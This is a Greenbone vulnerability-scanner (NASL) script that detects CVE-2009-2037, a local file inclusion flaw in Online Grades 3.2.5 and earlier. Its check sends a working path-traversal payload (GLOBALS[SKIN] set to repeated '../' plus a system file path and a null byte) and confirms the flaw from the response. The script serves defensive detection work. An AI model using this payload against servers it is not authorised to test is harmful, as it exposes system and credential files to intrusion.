Online Grades Multiple <= 3.2.5 LFi Vulnerabilities

# SPDX-FileCopyrightText: 2010 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:onlinegrades:online_grades";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100875");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2010-10-28 13:41:07 +0200 (Thu, 28 Oct 2010)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2009-2037");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Online Grades Multiple <= 3.2.5 LFi Vulnerabilities");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2010 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_online_grades_http_detect.nasl", "os_detection.nasl");
  script_mandatory_keys("online_grades/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Online Grades is prone to multiple local file-include
  vulnerabilities because it fails to properly sanitize user-supplied input.

  An attacker with admin access can exploit these vulnerabilities to obtain potentially sensitive
  nformation and to execute arbitrary local scripts in the context of the webserver process. This
  may allow the attacker to compromise the application and the computer, other attacks are also
  possible.");

  script_tag(name:"affected", value:"Online Grades 3.2.5 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective features,
  remove the product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/44399");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach  file (keys(files)) {
  url = dir + "/index.php?GLOBALS[SKIN]=" + crap(data: "../", length: 3 * 9) + files[file] + "%00";

  if (http_vuln_check(port: port, url: url, pattern: file, extra_check: make_list("Student Login", "Student ID"))) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);